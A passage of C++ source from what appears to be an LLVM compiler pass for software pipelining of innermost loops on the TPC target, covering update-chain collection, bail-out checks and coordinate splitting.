AccumPhi, AccumToPhiMap[BT], BT);\n return;\n}\n\nbool LoopSWP::getIsAccumInst(Instruction *I, BlockType BT) {\n return (AccumToPhiMap[BT].find(I) != AccumToPhiMap[BT].end() ||\n AccumPhis[BT].find(I) != AccumPhis[BT].end());\n}\n\nbool LoopSWP::collectLoadUpdates(Instruction *I, Instruction *RefPhi,\n BlockType BT, std::string DebugTag) {\n /*\n * Populate the Update chain of the Alpha 'I' referring the RefPhi updates\n * and their clones.\n *\n * RefPhi is an Alpha with an identified chain of updates. The caller\n * shall be aware of the relation between 'I' and 'RefPhi'. Typically 'I'\n * is a clone of RefPhi in another block, so a one-one mapping can be\n * established between the chain of RefPhi and that of 'I'. This function\n * uses RefPhi's chain as reference to populate I's chain information, in\n * words, the RefPhi chain's clone.\n *\n * -------------------------------------------------\n * RefPhi -> U1 -> U2 -> ... -> Un\n * I -> ? -> ? ...\n * -------------------------------------------------\n * I -> U1.getClone -> U2.getClone -> ...\n * -------------------------------------------------\n */\n\n assert(BT != BlockType::Header &&\n \"Illegal call to overloaded collectLoadUpdates\");\n\n LOOP_SWP_DEBUG(DebugTag << \"Collecting Load Updates for :\")\n LOOP_SWP_DEBUG(DebugTag << \"I = \" << *I)\n LOOP_SWP_DEBUG(DebugTag << \"RefPhi = \" << *RefPhi)\n LOOP_SWP_DEBUG(DebugTag << \"Block = \" << TPCOptUtils::getBasicBlockStr(BT))\n DebugTag += \"\\t\";\n\n // get the next update for RefPhi (= CurRefInst.update)\n auto RefUpdateIt = InstUpdateMap[BlockType::Header].find(RefPhi);\n auto CurInst = I;\n while (RefUpdateIt != InstUpdateMap[BlockType::Header].end()) {\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"CurInst = \" << *CurInst)\n // get the clone of the ref update inst\n if (!RefUpdateIt->second) {\n LOOP_SWP_DEBUG(DebugTag << \"RefUpdate = nullptr\")\n // cloning had stopped here\n InstUpdateMap[BT].insert(std::make_pair(CurInst, nullptr));\n break;\n }\n LOOP_SWP_DEBUG(DebugTag << \"RefUpdate = \" << *RefUpdateIt->second)\n\n auto CloneIt = InstCloneMap[BT].find(RefUpdateIt->second);\n if (CloneIt == InstCloneMap[BT].end()) {\n LOOP_SWP_DEBUG(DebugTag << \"RefUpdate.getClone = nullptr\")\n // cloning had stopped here\n InstUpdateMap[BT].insert(std::make_pair(CurInst, nullptr));\n break;\n } else {\n LOOP_SWP_DEBUG(DebugTag << \"RefUpdate.getClone = \" << *CloneIt->second)\n // CurInst.update = CurRefInst.update.getClone()\n InstUpdateMap[BT].insert(std::make_pair(CurInst, CloneIt->second));\n // advance\n RefUpdateIt = InstUpdateMap[BlockType::Header].find(RefUpdateIt->second);\n CurInst = CloneIt->second;\n }\n }\n\n return true;\n}\n\nbool LoopSWP::collectLoadUpdates(Instruction *Alpha, Instruction *LastPivot,\n std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Collecting Load updates for : \")\n LOOP_SWP_DEBUG(DebugTag << \"Alpha = \" << *Alpha)\n LOOP_SWP_DEBUG(DebugTag << \"LastPivot = \" << *LastPivot)\n\n auto It = InstSeqMap.find(Alpha);\n if (It == InstSeqMap.end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Alpha does not belong to any InstSeq, exiting ...\")\n return false;\n }\n\n InstSequence *AlphaSeq = It->second;\n Instruction *CurPivot = LastPivot;\n InstSequence *CurSeq = nullptr;\n\n LOOP_SWP_DEBUG(DebugTag << \"AlphaSeq = \" << AlphaSeq)\n LOOP_SWP_DEBUG(DebugTag << \"AlphaSeq.isCoordSeq = \"\n << (AlphaSeq->isCoordSeq() ? \"true\" : \"false\"))\n LOOP_SWP_DEBUG(DebugTag << \"CurPivot = \" << *CurPivot)\n LOOP_SWP_DEBUG(DebugTag << \"CurSeq = \" << CurSeq)\n\n InstructionVecType UpdateStack;\n std::string DebugTagLoop = DebugTag + \"\\t\";\n do {\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n\n UpdateStack.push_back(CurPivot);\n auto CurLSIt = InstLoadStoreSeqMap.find(CurPivot);\n if (CurLSIt == InstLoadStoreSeqMap.end()) {\n LOOP_SWP_DEBUG(DebugTagLoop\n << \"LastPivot does not belong to any InstSeq, exiting ...\")\n return false;\n }\n\n auto *CurLSSeq = CurLSIt->second;\n CurSeq = (AlphaSeq->isCoordSeq() ? CurLSSeq->getCoordSequence()\n : CurLSSeq->getIncomePredSequence());\n if (!CurSeq)\n continue;\n\n if (CurSeq->isDerived())\n CurPivot = CurSeq->getDerivedFrom();\n else\n CurPivot = nullptr;\n\n if (CurPivot)\n LOOP_SWP_DEBUG(DebugTagLoop << \"CurPivot = \" << *CurPivot)\n else\n LOOP_SWP_DEBUG(DebugTagLoop << \"CurPivot = \"\n << \"nullptr\")\n LOOP_SWP_DEBUG(DebugTagLoop << \"CurSeq = \" << CurSeq)\n } while (CurSeq && CurPivot && (CurSeq != AlphaSeq));\n\n if (CurSeq == AlphaSeq) {\n LOOP_SWP_DEBUG(DebugTag\n << \"CureSeq == AlphaSeq, creating the chain of updates ...\")\n CurPivot = Alpha;\n LOOP_SWP_DEBUG(DebugTag << *Alpha)\n for (int i = UpdateStack.size() - 1; i >= 0; i--) {\n Instruction *I = UpdateStack[i];\n LOOP_SWP_DEBUG(DebugTag << \"->\")\n LOOP_SWP_DEBUG(DebugTag << *I)\n InstUpdateMap[BlockType::Header].insert(std::make_pair(CurPivot, I));\n InstToAlphaMap[BlockType::Header].insert(std::make_pair(I, Alpha));\n CurPivot = I;\n }\n // add an entry (LastInst -> nullptr) if LastInst exists\n if (UpdateStack.size()) {\n LOOP_SWP_DEBUG(DebugTag << \"->\")\n LOOP_SWP_DEBUG(DebugTag << \"nullptr\")\n InstUpdateMap[BlockType::Header].insert(\n std::make_pair(UpdateStack[0], nullptr));\n }\n }\n return true;\n}\n\nbool LoopSWP::collectInstUpdates(Instruction *I, Instruction *RefPhi,\n BlockType BT, std::string Indent) {\n std::string DebugTag = \"<collectInstUpdates> \" + Indent;\n LOOP_SWP_DEBUG(DebugTag << \"Collecting updates for :\")\n LOOP_SWP_DEBUG(DebugTag << \"I = \" << *I)\n\n if (RefPhi) {\n if (!isa<PHINode>(RefPhi) || RefPhi->getParent() != HeaderBlock) {\n LOOP_SWP_DEBUG(DebugTag << \"RefPhi not a Header Phi, exiting ...\")\n return false;\n }\n }\n\n auto It = InstSeqMap.find(I);\n // if I is not related to coord or income-pred sequence, continue\n if (It == InstSeqMap.end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Does not belong to any InstSeq, nothing to do ...\")\n return true;\n }\n\n BasicBlock *BB = TPCOptUtils::getLoopBlock(WorkingLoop, BT);\n\n Instruction *CurInst = I;\n bool UpdateFound = true;\n while (UpdateFound) {\n UpdateFound = false;\n LOOP_SWP_DEBUG(DebugTag << \"CurInst = \" << *CurInst)\n Indent += \"\\t\";\n DebugTag += \"\\t\";\n for (auto User : CurInst->users()) {\n if (isa<PHINode>(User))\n continue;\n Instruction *UserInst = cast<Instruction>(User);\n LOOP_SWP_DEBUG(DebugTag << \"UserInst = \" << *UserInst)\n if (UserInst->getParent() != BB) {\n LOOP_SWP_DEBUG(DebugTag << \"Does not belong to BB, continuing ...\")\n continue;\n }\n if (!checkInstUpdate(CurInst, UserInst, UpdateFound, RefPhi, BT,\n Indent + \"\\t\")) {\n LOOP_SWP_DEBUG(DebugTag << \"Inst update check failed, exiting ...\")\n return false;\n }\n if (UpdateFound) {\n LOOP_SWP_DEBUG(DebugTag << \"This user Inst is an update.\")\n InstToAlphaMap[BT].insert(std::make_pair(CurInst, I));\n CurInst = UserInst;\n break;\n }\n }\n }\n\n // last update map\n setPhiInfo(CurInst, I, InstToAlphaMap[BT], BT);\n\n return true;\n}\n\nbool LoopSWP::collectAlphaUpdates(BlockType BT, std::string Indent) {\n std::string DebugTag = \"<collectAlphaUpdates> \" + Indent;\n\n assert(BT < BlockType::NumBlocks && \"Invalid BlockType\");\n\n LOOP_SWP_DEBUG(DebugTag << \"Collecting Alpha updates for BB : \"\n << TPCOptUtils::getBasicBlockStr(BT))\n // if any alpha inst is not a phi, collect it's updates too\n for (auto &HeaderPhiNode : HeaderBlock->phis()) {\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n Instruction *HeaderPhi = cast<Instruction>(&HeaderPhiNode);\n LOOP_SWP_DEBUG(DebugTag << \"HeaderPhi = \" << *HeaderPhi)\n\n auto It = InstSeqMap.find(HeaderPhi);\n if (It == InstSeqMap.end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Does not belong to any InstSeq, continuing ...\")\n continue;\n } else {\n // skip store coord seq for Preheader block\n if (BT == BlockType::Preheader && !It->second->isLoadPivot()) {\n LOOP_SWP_DEBUG(DebugTag << \"Store CoordSeq not currently being cloned \"\n \"in Preheader block, continuing\")\n continue;\n }\n }\n\n Instruction *Phi;\n if (BT == BlockType::Header) {\n Phi = HeaderPhi;\n } else {\n auto CloneIt = InstCloneMap[BT].find(HeaderPhi);\n if (CloneIt == InstCloneMap[BT].end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"HeaderPhi's clone not found, continuing ...\")\n continue;\n }\n Phi = CloneIt->second;\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"Phi = \" << *Phi)\n if (isInductionPHI(&HeaderPhiNode)) {\n LOOP_SWP_DEBUG(DebugTag << \"InductionPhi, continuing ...\")\n continue;\n }\n\n // handle the load Alphas of Header block\n Instruction *Income =\n cast<Instruction>(HeaderPhiNode.getIncomingValueForBlock(HeaderBlock));\n if (TPCOptUtils::isLoadTensor(Income)) {\n if (BT == BlockType::Header) {\n LOOP_SWP_DEBUG(DebugTag << \"Header Load Alpha\")\n if (!collectLoadUpdates(Phi, Income, DebugTag)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Load update collection failed, exiting ...\")\n return false;\n }\n } else {\n LOOP_SWP_DEBUG(DebugTag << \"Load Alpha\")\n if (!collectLoadUpdates(Phi, HeaderPhi, BT, DebugTag)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Load update collection failed, exiting ...\")\n return false;\n }\n }\n } else {\n LOOP_SWP_DEBUG(DebugTag << \"Non Load Alpha\")\n Instruction *RefPhi = (BT == BlockType::Header) ? nullptr : HeaderPhi;\n // collect the chain of updates\n if (!collectInstUpdates(Phi, RefPhi, BT, Indent)) {\n LOOP_SWP_DEBUG(DebugTag << \"Inst update collection failed, exiting ...\")\n return false;\n }\n }\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"[END]\")\n return true;\n}\n\nvoid LoopSWP::dumpLoopBlocks(std::string HeaderNote) {\n LLVM_DEBUG(LOOP_SWP_DEBUG(\"Loop Blocks : \" << HeaderNote)\n LOOP_SWP_DEBUG(*PreheaderBlock << \"\\n----\");\n LOOP_SWP_DEBUG(*HeaderBlock << \"\\n----\");\n LOOP_SWP_DEBUG(*ExitBlock << \"\\n----\"););\n}\n\nbool LoopSWP::isPrologueOrEpilogueLoop() {\n std::string DebugTag = \"<isPrologueOrEpilogueLoop> \";\n std::string NotPELoopStr = DebugTag + \"Not a prologue/epilogue loop : \";\n\n Loop *ParentLoop = WorkingLoop->getParentLoop();\n // 1. if this is the only loop in this depth, its not a prologue loop\n if (ParentLoop->getSubLoops().size() == 1) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"This is the only innermost loop\")\n return false;\n }\n\n // 2. Get the exit condition\n auto *PreheaderPred = PreheaderBlock->getUniquePredecessor();\n if (!PreheaderPred) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Preheader does not have unique predecessor\")\n return false;\n }\n auto InstIt = PreheaderPred->end();\n InstIt--;\n Instruction *PredBranchInst = &(*InstIt);\n auto *BI = dyn_cast<BranchInst>(PredBranchInst);\n assert(BI && \"Expected : A branch instruction\");\n if (BI->isUnconditional()) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Expected conditional branching\")\n return false;\n }\n auto *BranchCondInst = dyn_cast<ICmpInst>(BI->getCondition());\n if (!BranchCondInst) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Expected a ICmpInst\")\n return false;\n }\n if (!BranchCondInst->isEquality()) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Expected an equality check with 0\")\n return false;\n }\n Value *Op[2] = {BranchCondInst->getOperand(0), BranchCondInst->getOperand(1)};\n int ConstOp;\n auto *ConstVal0 = dyn_cast<Constant>(Op[0]);\n auto *ConstVal1 = dyn_cast<Constant>(Op[1]);\n if (ConstVal0 && ConstVal0->isZeroValue()) {\n ConstOp = 0;\n } else if (ConstVal1 && ConstVal1->isZeroValue()) {\n ConstOp = 1;\n } else {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Expected an equality check with 0\")\n return false;\n }\n // check for 'xtraiter' value\n Instruction *XtraIter = cast<Instruction>(Op[(ConstOp + 1) & 1]);\n if (XtraIter->getOpcode() != Instruction::And &&\n XtraIter->getOpcode() != Instruction::URem) {\n LOOP_SWP_DEBUG(NotPELoopStr << \"Expected an And / URem instruction\")\n return false;\n }\n\n // 3. Does the name contain 'prol'/'epil'?\n bool HasProlSubstr =\n (HeaderBlock->getName().find(\"prol\") != std::string::npos);\n LOOP_SWP_DEBUG(DebugTag << \"Prologue ('prol') Substring \"\n << (HasProlSubstr ? \"present\" : \"not present\"))\n bool HasEpilSubstr =\n (HeaderBlock->getName().find(\"epil\") != std::string::npos);\n LOOP_SWP_DEBUG(DebugTag << \"Epilogue ('epil') Substring \"\n << (HasEpilSubstr ? \"present\" : \"not present\"))\n\n // 4. Does the Loop have constant non-zero Max Trip Count?\n auto *SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n int MaxTripCount = SE->getSmallConstantMaxTripCount(WorkingLoop);\n LOOP_SWP_DEBUG(DebugTag << \"MaxTripCount = \" << MaxTripCount)\n bool HasFiniteNonZeroTripCount = (MaxTripCount != 0);\n\n if (!((HasProlSubstr || HasEpilSubstr) && HasFiniteNonZeroTripCount)) {\n LOOP_SWP_DEBUG(NotPELoopStr\n << \"BB name should have 'prol'/'epil' suffix AND\")\n LOOP_SWP_DEBUG(NotPELoopStr\n << \"the loop must have finite non-zero trip count\")\n return false;\n }\n\n return true;\n}\n\n// This function checks for uniformity in the coord update instruction chain\n// The update chain is considered non-uniform if :\n// - no coord update instruction is found in the block\n// - any add.mask does not have a constant step value\n// - all add.mask instructions in the block do not have the same constant step\n// value type (all ConstantInt or all ConstantDataVector)\n// - all add.mask instructions in the block do not have the same constant step\n// value\nbool LoopSWP::checkUniformCoordUpdates(std::string Indent) {\n std::string DebugTag = BAIL_OUT_TAG + Indent;\n Type *T5xi32 =\n VectorType::get(Type::getInt32Ty(HeaderBlock->getContext()), 5);\n int MaxIntVal = 0x7fffffff;\n\n // for each Coord phi node\n for (auto &PhiNode : HeaderBlock->phis()) {\n auto *HeaderIncomingValue = PhiNode.getIncomingValueForBlock(HeaderBlock);\n if (HeaderIncomingValue->getType() != T5xi32)\n continue;\n\n // collect step vals into a vector\n llvm::SmallVector<Value *, 4> StepVals;\n auto UpdateMap = InstUpdateMap[BlockType::Header];\n Instruction *NextUpdate = cast<Instruction>(&PhiNode);\n LOOP_SWP_DEBUG(\"<5xi32> PhiNode = \" << *NextUpdate)\n auto It = UpdateMap.find(NextUpdate);\n while (It != UpdateMap.end() && It->second != nullptr) {\n NextUpdate = It->second;\n LOOP_SWP_DEBUG(\"\\tNextUpdate = \" << *NextUpdate)\n Value *StepVal = TPCOptUtils::getStepValue(NextUpdate);\n if (!StepVal) {\n LOOP_SWP_DEBUG(\n DebugTag\n << \"Invalid step val detected for Coord update, exiting ...\")\n return false;\n }\n LOOP_SWP_DEBUG(\"\\t\\tStepVal = \" << *StepVal)\n StepVals.push_back(StepVal);\n It = UpdateMap.find(NextUpdate);\n }\n if (!StepVals.size()) {\n LOOP_SWP_DEBUG(DebugTag << \"No Coord update found, exiting ...\")\n return false;\n }\n\n // analyze the step val vector\n auto *ConstStepVal = dyn_cast<ConstantInt>(StepVals[0]); // i32\n auto *ConstVecStepVal =\n dyn_cast<ConstantDataVector>(StepVals[0]); // 5 x i32\n if (TPCOptUtils::isIntrinsicOfType(\n dyn_cast<Instruction>(HeaderIncomingValue),\n Intrinsic::tpc_add_mask)) {\n if (!ConstStepVal && !ConstVecStepVal) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Non-const step val used in add.mask, exiting ...\")\n return false;\n }\n }\n int ElementVal = MaxIntVal;\n if (ConstStepVal)\n ElementVal = ConstStepVal->getSExtValue();\n else if (ConstVecStepVal)\n ElementVal = dyn_cast<ConstantInt>(ConstVecStepVal->getSplatValue())\n ->getSExtValue();\n else\n continue;\n\n for (unsigned i = 1; i < StepVals.size(); i++) {\n // updates must be either all constants / all non-constants\n auto *CurConstStepVal = dyn_cast<ConstantInt>(StepVals[i]);\n auto *CurConstVecStepVal = dyn_cast<ConstantDataVector>(StepVals[i]);\n if (((ConstStepVal == nullptr) ^ (CurConstStepVal == nullptr)) ||\n ((ConstVecStepVal == nullptr) ^ (CurConstVecStepVal == nullptr))) {\n LOOP_SWP_DEBUG(DebugTag << \"Non-uniform Coord update (#\" << i\n << \") step value type, exiting ...\")\n return false;\n }\n\n int CurElementVal = MaxIntVal;\n if (ConstStepVal)\n CurElementVal = CurConstStepVal->getSExtValue();\n else if (ConstVecStepVal)\n CurElementVal =\n dyn_cast<ConstantInt>(CurConstVecStepVal->getSplatValue())\n ->getSExtValue();\n\n if (ElementVal != CurElementVal) {\n LOOP_SWP_DEBUG(DebugTag << \"Non-uniform Coord update (#\" << i\n << \") step value, exiting ...\")\n return false;\n }\n }\n }\n\n return true;\n}\n\n// check if there are any compute instructions outside the clusters and\n// InstSequences\nbool LoopSWP::hasUnclusteredCompute(std::string Indent) {\n std::string DebugTag = BAIL_OUT_TAG + Indent;\n\n for (auto I : UnclusteredInstructions) {\n // skip instructions that belong to loop structure or any InstSequence\n if (LoopStructureInsts.find(I) != LoopStructureInsts.end() ||\n (InstSeqMap.find(I) != InstSeqMap.end()))\n continue;\n // skip trailing add.mask instructions\n if (TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_add_mask)) {\n unsigned NumUsersWithinBlock = 0;\n bool IsBadInst = false;\n for (auto User : I->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n if (UserInst->getParent() != HeaderBlock)\n continue;\n NumUsersWithinBlock += 1;\n if (!isa<PHINode>(UserInst) || NumUsersWithinBlock > 1) {\n IsBadInst = true;\n break;\n }\n }\n if (!IsBadInst)\n continue;\n }\n LOOP_SWP_DEBUG(DebugTag\n << \"Found instruction not in any cluster or InstSeq :\")\n LOOP_SWP_DEBUG(DebugTag << \"I = \" << *I)\n return true;\n }\n return false;\n}\n\n// This function checks for misc. bail out requirements like :\n// - the loop is not manually pipelined\n// - the loop does not contain both an accumulator and an st_tnsr\nbool LoopSWP::checkRequirements(std::string Indent) {\n std::string DebugTag = BAIL_OUT_TAG + Indent;\n Type *T5xi32 =\n VectorType::get(Type::getInt32Ty(HeaderBlock->getContext()), 5);\n\n bool HasStoreTensor = false;\n for (Instruction &Inst : *HeaderBlock) {\n Instruction *I = &Inst;\n\n // try and detect pipelining\n if (TPCOptUtils::isLoadTensor(I)) {\n // if this loop is already pipelined, there should be at least one ld_tnsr\n // with zero non-PHI users\n unsigned NonPHIUserCount = 0;\n for (auto User : I->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n NonPHIUserCount +=\n ((UserInst->getParent() == HeaderBlock) && !isa<PHINode>(UserInst));\n }\n if (!NonPHIUserCount) {\n LOOP_SWP_DEBUG(DebugTag << \"Load : \" << *I)\n LOOP_SWP_DEBUG(\n DebugTag << \"Found 'ld_tnsr' with no non-PHI user within the block\")\n LOOP_SWP_DEBUG(DebugTag << \"- Possibly pipelined already, exiting ...\")\n return false;\n }\n continue;\n }\n\n // skip phis, Coords\n if (isa<PHINode>(I) || I->getType() == T5xi32)\n continue;\n\n HasStoreTensor |= TPCOptUtils::isStoreTensor(I);\n\n // if there is a st_tnsr along with an accumulator, skip for now\n unsigned ExternalUserCount = 0;\n for (auto User : I->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n ExternalUserCount += (UserInst->getParent() != HeaderBlock);\n }\n if (ExternalUserCount && HasStoreTensor) {\n LOOP_SWP_DEBUG(\n DebugTag << \"Detected presence of both Store and Accum, exiting ...\")\n LOOP_SWP_DEBUG(\"I = \" << *I)\n return false;\n }\n }\n\n return true;\n}\n\nbool LoopSWP::isPipeliningPossible() {\n std::string DebugTag = BAIL_OUT_TAG;\n // The loop should be the innermost loop.\n if (WorkingLoop->getSubLoops().size()) {\n LOOP_SWP_DEBUG(DebugTag << \"Cannot apply software pipelining for \"\n \"non-innermost loop, exiting ...\")\n return false;\n }\n\n // set the preheader, header and exit basic blocks of the Working Loop\n setBasicBlocks();\n\n // Identify the prologue/epilogue loop by looking for marker set by unroll\n if (findStringMetadataForLoop(WorkingLoop,\n \"llvm.loop.unroll.remainderloop.marker\")) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Possibly prologue loop; won't pipeline, exiting ...\")\n return false;\n }\n\n DebugTag += \"[InnerLoop] : \";\n // The loop should have no branching\n if (WorkingLoop->getNumBlocks() > 1) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Branching detected within the loop, exiting ...\")\n return false;\n }\n\n LOOP_SWP_DEBUG(\"PreheaderBlock = \" << PreheaderBlock->getName())\n LOOP_SWP_DEBUG(\"HeaderBlock = \" << HeaderBlock->getName())\n LOOP_SWP_DEBUG(\"ExitBlock = \" << ExitBlock->getName())\n\n // clear the data\n resetInstContainers();\n\n if (!TPCOptUtils::populateInductionInsts(WorkingLoop, SE, InductionInsts)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Could not populate Induction Instructions, exiting ...\")\n return false;\n }\n\n if (!TPCOptUtils::populateLoopStructInsts(WorkingLoop, LoopStructureInsts)) {\n LOOP_SWP_DEBUG(\n DebugTag << \"Could not populate loop struct instructions, exiting ...\")\n return false;\n }\n\n // check the presence of stores and reduction\n if (!checkRequirements()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Stores in reduction loop not handled yet, exiting ...\")\n return false;\n }\n\n // HeaderStoreList and HeaderLoadList are passed as inputs to clusterizer\n // since they are later required for Inst Sequence creation\n InstructionVecType HeaderStoreList;\n InstructionVecType HeaderLoadList;\n\n // Since SWP bails out in the following cases, instructing clusterizer to\n // bail out / skip if the conditions are met can avoid unnecessary\n // processing.\n //\n // Instructs the clusterizer not to populate the cluster info vector if a\n // single cluster was found.\n bool PopulateIfMultiCluster = true;\n // Instructs the clusterizer to exit if no 'ld_tnsr' instruction was found\n bool SkipIfZeroLoadTensors = true;\n\n // create clusterizer instance\n IterationClusterizer SWPIterClusterizer(\n WorkingLoop, SE, PopulateIfMultiCluster, SkipIfZeroLoadTensors);\n // classify the loop instructions and collect cluster info\n if (!SWPIterClusterizer.classifyAndClusterize(\n LoopClusters, HeaderStoreList, HeaderLoadList,\n UnclusteredInstructions, AccumPhis[BlockType::Header],\n AccumToPhiMap[BlockType::Header])) {\n LOOP_SWP_DEBUG(DebugTag << \"Loop Clusterization failed, exiting ...\")\n return false;\n }\n\n setNumClusters(SWPIterClusterizer.getNumClusters());\n setIsAccumulationLoop(SWPIterClusterizer.getIsAccumulationLoop());\n\n assert(LoopClusters.size() == getNumClusters() &&\n \"Fatal : Inconsistent cluster info\");\n for (unsigned i = 0; i < LoopClusters.size(); i++) {\n assert(LoopClusters[i] && \"Fatal : cluster info not found\");\n assert(LoopClusters[i]->HeaderLoadInstsVec.size() &&\n \"Expected 'ld_tnsr' Instruction not found\");\n }\n\n // Create Load/Store Inst sequences\n if (!createLoadStoreSequences(HeaderStoreList, HeaderLoadList)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Could not create Load/Store Sequence, exiting ...\")\n return false;\n }\n\n // check if there are unclustered compute instructions outside DAG\n if (hasUnclusteredCompute()) {\n LOOP_SWP_DEBUG(DebugTag << \"Found One or more unclustered instructions \"\n \"that is/are possibly compute, exiting ...\")\n return false;\n }\n\n if (HeaderStoreList.size()) {\n // check if the load coord and store coords collide, if yes split all of\n // them\n if (!splitLoadStoreCoords(HeaderStoreList)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Splitting Load/Store Coords failed, exiting ...\")\n return false;\n }\n dumpLoopBlocks(\"Loop Blocks (After store split) :\");\n }\n\n if (!collectAlphaUpdates(BlockType::Header)) {\n LOOP_SWP_DEBUG(DebugTag << \"Phi update collection failed, exiting ...\")\n return false;\n }\n\n unsigned N = getNumClusters();\n\n // check if the coord updates are not uniform\n if (!checkUniformCoordUpdates()) {\n LOOP_SWP_DEBUG(DebugTag << \"Non-uniform Coord access found, exiting ...\")\n return false;\n }\n\n // ensure all required clones are available\n // TODO\n\n // ensure all updates are available\n // TODO\n\n // set the pipelining load count based on user requirement or number of\n // clusters\n setLoadPrefetchCount();\n\n if (!getLoadPrefetchCount() || getLoadPrefetchCount() > N) {\n LOOP_SWP_DEBUG(DebugTag << \"Invalid Load Prefetch count \"\n << LoadPrefetchCount << \" (#Clusters = \" << N\n << \")\")\n return false;\n }\n\n return true;\n}\n\n// TODO\nbool LoopSWP::isPipeliningProfitable() { return true; }\n\nvoid LoopSWP::applySoftwarePipelining() {\n // edit preheader\n modifyPreheader();\n dumpLoopBlocks(\"(After Preheader Block Modification)\");\n\n // edit loop body\n modifyHeaderBlock();\n dumpLoopBlocks(\"(After Header Block Modification)\");\n\n // update loop bounds\n updateLoopBounds();\n dumpLoopBlocks(\"(After Updating Loop Bounds)\");\n\n // edit cleanup\n modifyExitBlock();\n dumpLoopBlocks(\"(After Exit Block Modification)\");\n}\n\nvoid LoopSWP::dumpInputLoop() {\n LOOP_SWP_DEBUG(\"\\n========\\nPipelining for input loop : \"\n << WorkingLoop->getName() << \"\\n========\\n\")\n LLVM_DEBUG({\n for (auto *BB : WorkingLoop->getBlocksVector()) {\n LOOP_SWP_DEBUG(BB->getName())\n for (Instruction &I : *BB)\n LOOP_SWP_DEBUG(\"\\t\" << I)\n LOOP_SWP_DEBUG(\"\")\n }\n });\n LOOP_SWP_DEBUG(\"\\n========\\n\")\n}\n\nbool LoopSWP::verifyLCSSAForm() {\n auto *LI = &getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n auto *DT = &getAnalysis<DominatorTreeWrapperPass>().getDomTree();\n\n Loop *OutermostLoop = WorkingLoop;\n while (OutermostLoop->getParentLoop())\n OutermostLoop = OutermostLoop->getParentLoop();\n\n return OutermostLoop->isRecursivelyLCSSAForm(*DT, *LI);\n}\n\nbool LoopSWP::isPipeliningEnabled() {\n // if (!(flag && unroll_pragma) && !(pipeline_pragma))\n // exit\n LOOP_SWP_DEBUG(\"SWP Enable Flag = \" << LoopSWPFlag)\n return ((LoopSWPFlag && isUnrollPragmaDefined(WorkingLoop)) ||\n isPipelinePragmaDefined(WorkingLoop));\n}\n\nbool LoopSWP::runOnLoop(Loop *L, LPPassManager &LPM) {\n WorkingLoop = L;\n\n if (!isPipeliningEnabled()) {\n std::string DebugTag = DISABLED_TAG;\n if (!WorkingLoop->getSubLoops().size())\n DebugTag += \"[InnerLoop] : \";\n LOOP_SWP_DEBUG(DebugTag\n << \"SW Pipelining is not enabled for this loop; not applied\")\n return false;\n }\n\n initAnalysisInfo();\n\n dumpInputLoop();\n\n TPCOptUtils::dumpCFG(WorkingLoop);\n\n if (!isPipeliningPossible()) {\n cleanup();\n return false;\n }\n\n if (!isPipeliningProfitable()) {\n cleanup();\n return false;\n }\n\n applySoftwarePipelining();\n\n assert(verifyLCSSAForm() && \"LCSSA Form is broken!\");\n\n dumpLoopBlocks(\"Loop Blocks (Final) :\");\n\n std::string SuccessTag = SUCCESS_TAG;\n LOOP_SWP_DEBUG(SuccessTag << \"Applied SWP on loop.\")\n\n cleanup();\n\n return false;\n}\n\nbool LoopSWP::splitLoadStoreCoords(InstructionVecType &HeaderStoreList) {\n std::string DebugTag = \"<splitLoadStoreCoords> \";\n LOOP_SWP_DEBUG(DebugTag << \"Splitting Store Coord sequences\")\n\n // this will be just used as a filler argument to clone method\n BBInsertIt = HeaderBlock->begin();\n\n for (auto I : HeaderStoreList) {\n LOOP_SWP_DEBUG(DebugTag << \"-----\")\n LOOP_SWP_DEBUG(DebugTag << \"Store : \" << *I)\n auto StoreSeq = InstLoadStoreSeqMap[I];\n auto *StoreCoordSeq = StoreSeq->getCoordSequence();\n\n if (StoreCoordSeq->isDerivedFromLoad()) {\n LOOP_SWP_DEBUG(DebugTag << \"Splitting store coords ...\")\n // In case this sequence derives from a LoadSequence through an Induction\n // Instruction\n Instruction *RefInst = StoreCoordSeq->derivesOnlyInduction();\n if (!RefInst)\n RefInst = StoreCoordSeq->getRefInst();\n LOOP_SWP_DEBUG(\n DebugTag\n << \"Reference Instruction of the Sequence which this derives from : \")\n LOOP_SWP_DEBUG(DebugTag << *RefInst)\n\n InstSequence *DerivedFrom = InstSeqMap[RefInst];\n if (!StoreCoordSeq->clone(DerivedFrom, InstCloneMap[BlockType::Header],\n InsertedBlockInsts, BBInsertIt, false,\n BlockType::Header)) {\n LOOP_SWP_DEBUG(DebugTag << \"Store Coord seq object failed, exiting ...\")\n return false;\n }\n LOOP_SWP_DEBUG(DebugTag << \"After Split :\")\n StoreCoordSeq->debugDump();\n }\n }\n\n // Fix phis\n LOOP_SWP_DEBUG(DebugTag << \"Fixing InstSeq Phis ... [Begin]\")\n for (auto &PhiNode : HeaderBlock->phis()) {\n Instruction *Phi = cast<Instruction>(&PhiNode);\n LOOP_SWP_DEBUG(DebugTag 